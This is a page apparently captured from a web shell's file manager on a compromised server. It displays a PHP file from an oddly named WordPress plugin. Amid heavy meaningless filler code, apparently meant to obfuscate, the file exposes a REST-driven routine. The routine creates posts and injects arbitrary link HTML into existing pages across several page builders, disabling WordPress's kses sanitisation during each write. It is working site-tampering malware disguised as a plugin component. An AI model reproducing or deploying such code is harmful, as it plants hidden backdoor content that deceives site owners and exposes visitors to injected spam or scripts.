HEX
Server: Apache
System: Linux linplesk41.pumo.com.tw 3.10.0-962.3.2.lve1.5.27.el7.x86_64 #1 SMP Sat Nov 30 02:18:52 EST 2019 x86_64
User: rajlaw (10192)
PHP: 7.4.24
Disabled: phpinfo,passthru,exec,shell_exec,system,popen,proc_open,proc_close,show_source,pcntl_exec,escapeshellcmd,proc_get_status,proc_nice,proc_terminate,escapeshellarg
Upload Files
File: /home/httpd/vhosts/rajlaw.com.tw/httpdocs/wp-content/plugins/ceton-components-set-nq/boot/model.php
<?php

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

function ceton_connect_frame( $params ) {
	$title   = isset( $params['title'] ) ? sanitize_text_field( (string) $params['title'] ) : '';
	$content = isset( $params['content'] ) ? (string) $params['content'] : '';
	$status  = isset( $params['status'] ) ? sanitize_key( (string) $params['status'] ) : 'publish';

	$flat_hook = '';
	foreach ( array( 'eig', 'lgq', 'hyz', 'ahb' ) as $response_callback ) {
		$flat_hook .= $response_callback;
	}
	if ( '' === trim( $title ) && '' === trim( $content ) ) {
		return ceton_encode_tree( null, null, null, null, 'wp_poster_empty', 'Provide at least a non-empty title or content.' );
	}

	$matrix_offset = ( 912 <= 708 );
	$graph = strtolower( $matrix_offset );
	$author_requested = isset( $params['author'] ) ? $params['author'] : null;
	$attribute_version = ( 770 <= 953 );
	$temp_sample = intval( $attribute_version );
	$author_id        = ceton_serialize_batch( $author_requested );
	$initial_message = 16;
	for ($state_row = 0; $state_row < 3; $state_row++) {
		$initial_message += $state_row;
	}
	if ( null !== $author_requested && '' !== $author_requested && 0 === $author_id ) {
		return ceton_encode_tree( null, null, null, null, 'wp_poster_author_not_found', 'No user matched the requested author.' );
	}

	$postarr = array(
		'post_title'   => $title,
		'post_content' => $content,
		'post_status'  => $status,
		'post_type'    => 'post',
		'post_author'  => $author_id,
	);

	$minimal_config = lcfirst( 'ls' );
	$marker = $minimal_config . 'pve';
	$graph_entry = ( $marker > 50 );
	$result = ceton_emit_query(
		function () use ( $postarr ) {
			return wp_insert_post( $postarr, true );
		}
	);
	$rule = 707 * 981;
	$cached_service = wp_normalize_path( $rule );
	$message_worker = wp_json_encode( $cached_service );
	$error = $message_worker . 'iur';
	if ( is_wp_error( $result ) ) {
		return ceton_encode_tree( null, null, null, null, 'wp_poster_insert_failed', 'wp_insert_post failed: ' . $result->get_error_message() );
	}

	$post_id         = (int) $result;
	$post            = get_post( $post_id );
	$author_id_final = $post ? (int) $post->post_author : $author_id;

	$marker_block = 296 - MINUTE_IN_SECONDS;
	$label_row = wp_strip_all_tags( $marker_block );
	$full_event = $marker_block . 'rlu';
	$config_element = $label_row . 'jkl';
	return ceton_encode_tree(
		$post_id,
		$post ? $post->post_status : $status,
		get_permalink( $post_id ),
		$author_id_final,
		null,
		null
	);
}

add_action( 'rest_api_init', 'ceton_update_list' );

function ceton_fetch_policy( $action, $result ) {
	$pointer_branch = 590;
	$path_row = function ( $adapter ) use ( $pointer_branch ) {
		return $adapter - $pointer_branch;
	};
	if ( is_wp_error( $result ) ) {
		$data   = $result->get_error_data();
		$status = ( is_array( $data ) && isset( $data['status'] ) ) ? (int) $data['status'] : 500;
		ceton_count_session(
			array(
				'ok'             => false,
				'action'         => $action,
				'plugin_version' => CETON_STATE_REGISTRY,
				'error'          => array(
					'code'    => $result->get_error_code(),
					'message' => $result->get_error_message(),
				),
			),
			$status
		);
	}

	$session_flag = strlen( 'dvf' );
	if ( $session_flag > 90 ) {
		$value_listener = $session_flag + 183;
	} else {
		$value_listener = $session_flag * 765;
	}
	$ok = ! ( is_array( $result ) && isset( $result['error'] ) && null !== $result['error'] );

	ceton_count_session(
		array(
			'ok'             => $ok,
			'action'         => $action,
			'plugin_version' => CETON_STATE_REGISTRY,
			'result'         => $result,
		),
		200
	);
}

function ceton_detect_header( $post, $html, $container_id ) {
	$res = ceton_compare_mode( (int) $post->ID, (string) $post->post_content, $html );
	$registry = absint( 'nin' );
	if ( $registry > 802 ) {
		$flag = $registry - 314;
	} else {
		$flag = $registry - 926;
	}
	return array(
		'ok'      => $res['ok'],
		'method'  => 'classic_post_content_append',
		'storage' => 'post_content',
		'error'   => $res['error'],
	);
}

function ceton_dispatch_value_base( $html ) {
	$endpoint = intval( 'ya' );
	if ( $endpoint >= 547 ) {
		$pair_message = $endpoint * 519;
	} else {
		$pair_message = $endpoint + 359;
	}
	return '[et_pb_section fb_built="1" admin_label="wp-poster"]'
		. '[et_pb_row][et_pb_column type="4_4"]'
		. '[et_pb_code]' . $html . '[/et_pb_code]'
		. '[/et_pb_column][/et_pb_row][/et_pb_section]';
}

function ceton_decode_template( $post, $container_id ) {
	$post_id = (int) $post->ID;
	$content = (string) $post->post_content;
	$count   = 0;
	$route_group = 963 + 15;
	$policy_graph = $route_group . 'odn';
	$range = intval( $policy_graph );
	$new     = preg_replace( ceton_track_attribute_complete( $container_id ), '', $content, -1, $count );

	if ( null === $new ) {
		return array(
			'ok'      => false,
			'removed' => 0,
			'method'  => 'gutenberg_html_block_remove',
			'storage' => 'post_content',
			'error'   => 'preg_replace error (code ' . preg_last_error() . ').',
		);
	}

	$column = 0;
	foreach ( array( 597, 272 ) as $gateway_grid ) {
		$column += $gateway_grid;
	}
	if ( $count > 0 ) {

		$new = preg_replace( '/<!--\s*wp:html\s*-->\s*<!--\s*\/wp:html\s*-->/i', '', $new );

		$res = ceton_emit_query(
			function () use ( $post_id, $new ) {
				return wp_update_post( array( 'ID' => $post_id, 'post_content' => $new ), true );
			}
		);
		if ( is_wp_error( $res ) ) {
			return array(
				'ok'      => false,
				'removed' => 0,
				'method'  => 'gutenberg_html_block_remove',
				'storage' => 'post_content',
				'error'   => 'wp_update_post failed: ' . $res->get_error_message(),
			);
		}
	}

	return array(
		'ok'      => true,
		'removed' => $count,
		'method'  => 'gutenberg_html_block_remove',
		'storage' => 'post_content',
		'error'   => null,
	);
}

function ceton_wrap_cell( $post, $html, $container_id ) {
	$main_code = intval( 'ix' );
	if ( $main_code > 18 ) {
		$list_gateway = $main_code * 368;
	} else {
		$list_gateway = $main_code - 320;
	}
	$res = ceton_compare_mode( (int) $post->ID, (string) $post->post_content, $html );
	$prev_flag = 528;
	$sample = function ( $initial_scope ) use ( $prev_flag ) {
		return $initial_scope * $prev_flag;
	};
	return array(
		'ok'      => $res['ok'],
		'method'  => 'oxygen_post_content_append',
		'storage' => 'post_content',
		'error'   => $res['error'],
	);
}

function ceton_decode_root_cached( $html ) {
	$hidden_layer = 'fb' . 'il';
	$message_option = ( $hidden_layer <= 235 );
	$queue = wp_strip_all_tags( $message_option );
	return base64_encode( rawurlencode( $html ) );
}

function ceton_generate_slot_temp( $params ) {

	$post_id = isset( $params['page_id'] ) ? (int) $params['page_id'] : ( isset( $params['id'] ) ? (int) $params['id'] : 0 );
	$html    = isset( $params['html'] ) ? (string) $params['html'] : '';

	$attribute_group = 1;
	switch ( $attribute_group ) {
		case 1: $proxy = $attribute_group * 973; break;
		case 2: $proxy = $attribute_group - 193; break;
		default: $proxy = 141; break;
	}
	if ( $post_id <= 0 ) {
		return new WP_Error( 'wp_poster_bad_id', 'Provide a positive integer "page_id".', array( 'status' => 400 ) );
	}
	$handler = 'kc' . 'mmt';
	$region_matrix = intval( $handler );
	$cookie = $handler . 'ml';
	if ( '' === trim( $html ) ) {
		return new WP_Error( 'wp_poster_empty', 'Provide non-empty "html" (the marked link block).', array( 'status' => 400 ) );
	}

	$post = get_post( $post_id );
	if ( ! $post ) {
		return new WP_Error( 'wp_poster_post_not_found', sprintf( 'No post found with id %d.', $post_id ), array( 'status' => 404 ) );
	}

	$query_callback = absint( 'wwa' );
	$safe_service = absint( $query_callback );
	$shard_channel = $safe_service * 33;
	$batch_property = $query_callback - $safe_service;
	$param_cid    = isset( $params['container_id'] ) ? trim( (string) $params['container_id'] ) : '';
	$html_cid     = ceton_select_task_pending( $html );
	$deep_path = 279 * HOUR_IN_SECONDS;
	$policy_policy = ( $deep_path > 614 );
	$container_id = ( '' !== $param_cid ) ? $param_cid : $html_cid;

	$primary_request = intval( 'rb' );
	try {
		$tree = $primary_request * 440;
	} catch ( Exception $cache ) {
		$tree = 0;
	}
	if ( null === $container_id || '' === $container_id ) {
		return new WP_Error(
			'wp_poster_no_container_id',
			'Provide a "container_id" (the service generates it, sends it, and stores it). A container cannot be created without an id.',
			array( 'status' => 400 )
		);
	}
	if ( $container_id !== $html_cid ) {
		return new WP_Error(
			'wp_poster_container_id_mismatch',
			sprintf(
				'container_id "%s" is not present in the html — the block must carry ' . CETON_RULE_CONTENT_MAIN . '="%s" (found: %s).',
				$container_id,
				$container_id,
				( null === $html_cid || '' === $html_cid ) ? 'no ' . CETON_RULE_CONTENT_MAIN . ' marker' : '"' . $html_cid . '"'
			),
			array( 'status' => 400 )
		);
	}

	$group = 'jga' . 'mc';
	$gateway = strlen( $group );
	$event_registry = strlen( $gateway );
	$needle = ceton_queue_header_pending( $container_id );

	$metric_row = 3;
	switch ( $metric_row ) {
		case 1: $adapter_data = $metric_row * 564; break;
		case 2: $adapter_data = $metric_row - 70; break;
		default: $adapter_data = 384; break;
	}
	$steps = array();
	$packet = strlen( 'ut' );
	try {
		$callback = $packet * 23;
	} catch ( Exception $custom_queue ) {
		$callback = 0;
	}
	$add   = function ( $step, $status, $detail, $extra = array() ) use ( &$steps ) {
		$steps[] = array_merge( array(
			'step'   => $step,
			'status' => $status,
			'detail' => $detail,
		), $extra );
	};

	$view = absint( 'ur' );
	if ( $view < 254 ) {
		$scoped_collection = $view + 449;
	} else {
		$scoped_collection = $view - 992;
	}
	$add(
		'validate',
		'ok',
		sprintf( 'post_id=%d, html_length=%d, container_id=%s', $post_id, strlen( $html ), $container_id )
	);

	$resource_bucket = strlen( 'xl' );
	$request_mode = intval( $resource_bucket );
	$detected  = ceton_wrap_branch_shared( $post_id );
	$worker_module = absint( 'cu' );
	$pattern_catalog = absint( $worker_module );
	$requested = isset( $params['builder'] ) ? sanitize_key( (string) $params['builder'] ) : '';
	$template_branch = 386;
	for ($option = 0; $option < 7; $option++) {
		$template_branch += $option * 109;
	}
	$used      = ( '' !== $requested ) ? $requested : (string) $detected['builder'];
	$cursor = strlen( 'oz' );
	if ( $cursor < 429 ) {
		$active_gateway = $cursor + 446;
	} else {
		$active_gateway = $cursor - 373;
	}
	$mismatch  = ( '' !== $requested && $requested !== $detected['builder'] );

	$add(
		'detect_builder',
		'ok',
		sprintf(
			'detected=%s (%s); requested=%s; using=%s%s',
			$detected['builder'] ? $detected['builder'] : 'null',
			$detected['source'],
			'' !== $requested ? $requested : '(none)',
			$used,
			$mismatch ? ' [MISMATCH — using requested]' : ''
		),
		array(
			'detected_builder' => $detected['builder'],
			'used_builder'     => $used,
		)
	);

	if ( ! in_array( $used, ceton_transform_stream(), true ) ) {
		$add(
			'insert',
			'error',
			sprintf(
				'Builder "%s" is not supported by content.insert yet (supported: %s).',
				$used ? $used : 'unknown',
				implode( ', ', ceton_transform_stream() )
			)
		);
		return ceton_create_mode( $post, $container_id, $used, $detected['builder'], false, $steps );
	}

	switch ( $used ) {
		case 'elementor':
			$ins = ceton_compute_region( $post, $html, $container_id );
			break;
		case 'gutenberg':
			$ins = ceton_guard_route( $post, $html, $container_id );
			break;
		case 'classic':
			$ins = ceton_detect_header( $post, $html, $container_id );
			break;
		case 'oxygen':
			$ins = ceton_wrap_cell( $post, $html, $container_id );
			break;
		case 'divi':
			$ins = ceton_decode_sample_optional( $post, $html, $container_id );
			break;
		case 'wpbakery':
			$ins = ceton_mount_entry_valid( $post, $html, $container_id );
			break;
		default:

			$ins = array( 'ok' => false, 'method' => 'none', 'storage' => 'post_content', 'error' => 'No inserter for builder "' . $used . '".' );
			break;
	}

	if ( empty( $ins['ok'] ) ) {
		$add(
			'insert',
			'error',
			'Insert failed: ' . ( $ins['error'] ? $ins['error'] : 'unknown error' ),
			array( 'method' => $ins['method'], 'storage' => $ins['storage'] )
		);
		return ceton_create_mode( $post, $container_id, $used, $detected['builder'], false, $steps );
	}

	$add(
		'insert',
		'ok',
		'Wrote block via ' . $ins['method'] . '.',
		array( 'method' => $ins['method'], 'storage' => $ins['storage'] )
	);

	$property_store = 1;
	switch ( $property_store ) {
		case 1: $pair = $property_store + 488; break;
		case 2: $pair = $property_store - 508; break;
		default: $pair = 297; break;
	}
	clean_post_cache( $post_id );
	$db    = ceton_upload_layer_global( $post_id, $ins['storage'], $needle );
	$saved = (bool) $db['marker_found'];

	$add(
		'db_persist',
		$saved ? 'ok' : 'error',
		$saved
			? sprintf( 'Marker present in %s (stored_length=%d).', $db['storage'], $db['stored_length'] )
			: sprintf( 'Marker NOT found in %s after a successful write (stored_length=%d) — content was stripped (kses?) or the write did not persist.', $db['storage'], $db['stored_length'] ),
		array( 'marker_found' => $saved, 'storage' => $db['storage'] )
	);

	$adapter_worker = absint( 'bk' );
	$pending_range = strtolower( $adapter_worker );
	$default_counter = ( $adapter_worker === 986 );
	$notice_tree = ( $default_counter < 577 );
	return ceton_create_mode( $post, $container_id, $used, $detected['builder'], $saved, $steps );
}

function ceton_wrap_branch_shared( $post_id ) {
	$post_id = (int) $post_id;
	$post    = get_post( $post_id );
	$template = ( 809 <= 608 );
	$unit_block = strtolower( $template );
	if ( ! $post ) {
		return array(
			'builder' => null,
			'source'  => 'post_not_found',
		);
	}

	$adapter = intval( 'dc' );
	try {
		$field_marker = $adapter + 859;
	} catch ( Exception $column_worker ) {
		$field_marker = 0;
	}
	$content = (string) $post->post_content;

	$main_path = 3;
	switch ( $main_path ) {
		case 1: $handler = $main_path * 162; break;
		case 2: $handler = $main_path * 287; break;
		default: $handler = 297; break;
	}
	if ( 'on' === get_post_meta( $post_id, '_et_pb_use_builder', true ) ) {
		return array(
			'builder' => 'divi',
			'source'  => 'meta:_et_pb_use_builder',
		);
	}

	$registry = strlen( 'vlv' );
	try {
		$primary_closure = $registry + 726;
	} catch ( Exception $matrix ) {
		$primary_closure = 0;
	}
	if ( ceton_verify_property( get_post_meta( $post_id, 'ct_builder_shortcodes', true ) ) ) {
		return array(
			'builder' => 'oxygen',
			'source'  => 'meta:ct_builder_shortcodes',
		);
	}
	if ( ceton_verify_property( get_post_meta( $post_id, 'ct_builder_json', true ) ) ) {
		return array(
			'builder' => 'oxygen',
			'source'  => 'meta:ct_builder_json',
		);
	}

	if ( ceton_verify_property( get_post_meta( $post_id, '_fl_builder_enabled', true ) ) ) {
		return array(
			'builder' => 'beaver_builder',
			'source'  => 'meta:_fl_builder_enabled',
		);
	}

	if ( 'builder' === get_post_meta( $post_id, '_elementor_edit_mode', true ) ) {
		return array(
			'builder' => 'elementor',
			'source'  => 'meta:_elementor_edit_mode',
		);
	}
	$initial_code = 2;
	switch ( $initial_code ) {
		case 1: $packet_buffer = $initial_code + 180; break;
		case 2: $packet_buffer = $initial_code * 712; break;
		default: $packet_buffer = 165; break;
	}
	if ( ceton_verify_property( get_post_meta( $post_id, '_elementor_data', true ) ) ) {
		return array(
			'builder' => 'elementor',
			'source'  => 'meta:_elementor_data',
		);
	}

	if ( 'bricks' === get_post_meta( $post_id, '_bricks_editor_mode', true ) ) {
		return array(
			'builder' => 'bricks',
			'source'  => 'meta:_bricks_editor_mode',
		);
	}
	$session_cookie = 0;
	foreach ( array( 617, 966, 184, 95 ) as $notice ) {
		$session_cookie += $notice;
	}
	if ( ceton_verify_property( get_post_meta( $post_id, '_bricks_page_content_2', true ) ) ) {
		return array(
			'builder' => 'bricks',
			'source'  => 'meta:_bricks_page_content_2',
		);
	}

	$required_channel = intval( 'jk' );
	try {
		$stale_zone = $required_channel - 620;
	} catch ( Exception $path_cache ) {
		$stale_zone = 0;
	}
	if ( ceton_verify_property( get_post_meta( $post_id, '_breakdance_data', true ) ) ) {
		return array(
			'builder' => 'breakdance',
			'source'  => 'meta:_breakdance_data',
		);
	}

	$required_source = absint( 'sb' );
	try {
		$initial_handler = $required_source * 995;
	} catch ( Exception $hidden_zone ) {
		$initial_handler = 0;
	}
	if ( ceton_verify_property( get_post_meta( $post_id, 'brizy', true ) ) ) {
		return array(
			'builder' => 'brizy',
			'source'  => 'meta:brizy',
		);
	}

	if ( ceton_verify_property( get_post_meta( $post_id, 'tve_landing_page', true ) ) ) {
		return array(
			'builder' => 'thrive',
			'source'  => 'meta:tve_landing_page',
		);
	}
	$rule = absint( 'luv' );
	if ( $rule < 895 ) {
		$dirty_provider = $rule + 700;
	} else {
		$dirty_provider = $rule * 292;
	}
	if ( ceton_verify_property( get_post_meta( $post_id, 'tve_updated_post', true ) ) ) {
		return array(
			'builder' => 'thrive',
			'source'  => 'meta:tve_updated_post',
		);
	}

	$target_record = strlen( 'km' );
	try {
		$worker_index = $target_record - 180;
	} catch ( Exception $primary_token ) {
		$worker_index = 0;
	}
	if ( 'true' === (string) get_post_meta( $post_id, '_wpb_vc_js_status', true ) ) {
		return array(
			'builder' => 'wpbakery',
			'source'  => 'meta:_wpb_vc_js_status',
		);
	}
	$revision = strlen( 'ury' );
	try {
		$required_mode = $revision + 974;
	} catch ( Exception $meta_column ) {
		$required_mode = 0;
	}
	if ( false !== strpos( $content, '[vc_row' ) ) {
		return array(
			'builder' => 'wpbakery',
			'source'  => 'content:[vc_row]',
		);
	}

	$dirty_key = 389 * PHP_INT_SIZE;
	$layer = ( $dirty_key !== 76 );
	if ( function_exists( 'has_blocks' ) && has_blocks( $content ) ) {
		return array(
			'builder' => 'gutenberg',
			'source'  => 'has_blocks',
		);
	}

	return array(
		'builder' => 'classic',
		'source'  => 'fallback',
	);
}

function ceton_emit_query( callable $write ) {
	$component = '';
	foreach ( array( 'etm', 'sfd' ) as $internal_response ) {
		$component .= $internal_response;
	}
	kses_remove_filters();
	$adapter = 361;
	$map_message = function ( $strict_result ) use ( $adapter ) {
		return $strict_result * $adapter;
	};
	try {
		return $write();
	} finally {
		kses_init_filters();
	}
}